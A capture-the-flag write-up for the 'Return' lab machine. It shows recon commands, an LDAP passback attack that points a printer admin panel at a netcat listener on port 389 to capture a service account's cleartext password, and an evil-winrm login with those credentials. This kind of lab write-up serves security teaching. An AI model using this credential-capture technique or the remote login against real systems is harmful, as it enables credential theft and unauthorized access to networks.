Return
A network printer admin panel stores LDAP service-account credentials and lets the directory server be set to an arbitrary host; pointing it at a rogue listener on port 389 leaks the svc-printer password in cleartext, which logs in over WinRM for the user flag.
Overview
Return is an easy Windows machine built around a network printer administration panel. The panel’s settings page holds an LDAP service account used to query Active Directory. Because the panel lets you change the directory server address and re-binds with the stored credentials when you save, pointing it at an attacker-controlled listener on TCP 389 leaks the svc-printer password in cleartext. Those credentials grant a WinRM shell and the user flag. This post covers recon through the user flag.
Machine Matrix
Realistic LDAP-passback printer abuse — point the panel at a rogue listener to capture cleartext creds for WinRM — with no CVE, no enumeration depth, just a clever misconfig primitive.
Recon
| Port | Service | Notes |
|---|---|---|
| 80/tcp | Microsoft IIS 10.0 | HTB Printer Admin Panel |
| 445/tcp | SMB | null/guest sessions rejected |
| 5985/tcp | WinRM (HTTPAPI 2.0) | remote management |
1
2
nmap -p- --min-rate=1000 -T4 10.10.10.233
nmap -p80,445,5985 -sV -sC 10.10.10.233
The HTTP title gives it away immediately: HTB Printer Admin Panel. SMB enumeration confirms the host is part of the RETURN domain but rejects anonymous sessions, so the website is the way in.
1
enum4linux -a 10.10.10.233
Enumeration
Browsing to port 80 shows a printer admin panel of the kind shipped on enterprise multifunction devices. The navigation has a Settings page, and that is where everything interesting lives:
- Server Address:
printer.return.local - Server Port:
389(LDAP) - Username:
svc-printer - Password: masked (
******)
These devices store LDAP/SMB credentials so they can query the AD user list and save scanned files to user drives. Critically, the panel lets the operator change the directory server — and saves by re-binding with the stored password.
Foothold
1 — Stand up a rogue LDAP listener. Before touching the panel, start a plain listener on port 389. A simple LDAP bind sends the DN and password in cleartext, so a raw nc is enough to capture it.
1
sudo nc -lvnp 389
2 — Point the printer at yourself. In the Settings page, change Server Address to your tun0 IP and click Update. The device immediately attempts to bind against the new “server” — your listener.
1
2
3
connect to [10.10.14.x] from (UNKNOWN) [10.10.10.233] ...
0*`%return\svc-printer
[redacted]
The bind reveals svc-printer’s password in cleartext.
3 — Log in over WinRM. Port 5985 is open, and svc-printer has remote-management rights, so the captured credentials drop straight into a shell with evil-winrm.
1
evil-winrm -i 10.10.10.233 -u svc-printer -p '[redacted]'
User flag
1
2
type C:\Users\svc-printer\Desktop\user.txt
# [redacted]
Credentials captured from a rogue LDAP bind, a WinRM shell, and the user flag are ours.
Privilege escalation (svc-printer is in the Server Operators group, which can hijack a service binary path for SYSTEM) is left as an exercise — this post stops at user.